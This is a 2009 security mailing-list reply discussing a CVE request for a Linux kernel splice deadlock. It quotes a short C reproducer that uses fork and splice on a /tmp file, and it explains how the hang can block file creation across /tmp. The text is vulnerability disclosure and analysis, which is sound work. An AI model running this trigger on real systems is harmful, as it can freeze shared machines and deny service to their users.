[<prev] [next>] [<thread-prev] [thread-next>] [month] [year] [list]
Date: Tue, 02 Jun 2009 11:54:04 +0200
From: Miklos Szeredi <mszeredi@...e.cz>
To: Jon Oberheide <jon@...rheide.org>
Cc: oss-security@...ts.openwall.com
Subject: Re: CVE request: kernel: splice local denial of
service
On Sat, 2009-05-30 at 03:36 -0400, Jon Oberheide wrote:
> The deadlock can be reproduced easily (you might need to fork() a few
> times to get an pipe inode allocation ptr less than the file inode ptr):
>
> pipe(pfds);
> snprintf(buf, sizeof(buf), "/tmp/%d", getpid());
> fd = open(buf, O_RDWR | O_CREAT, S_IRWXU);
>
> if (fork()) {
> splice(pfds[0], NULL, fd, NULL, 1024, NULL);
> } else{
> sleep(1);
> splice(pfds[0], NULL, fd, NULL, 1024, NULL);
> }
>
> However, the deadlock only affects the task attempting to acquire the
> inode's i_mutex, so an attacker would require write access to a file
> that is also written (or other fs op that acquires i_mutex) by some
> victim process. That is, unless I've missed something. :-)
Some operations also take i_mutex on parent (open(O_CREAT), mkdir,
unlink, rmdir, rename, etc), and the order is always parent first. This
means, that if some task is holding i_mutex on /tmp/foo, then doing
unlink("/tmp/foo") will block while holding i_mutex on /tmp. Together
with the above deadlock it will prevent creation or removal of files
under /tmp, making the system pretty much unusable.
Thanks,
Miklos
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Powered by Openwall GNU/*/Linux -
Powered by OpenVZ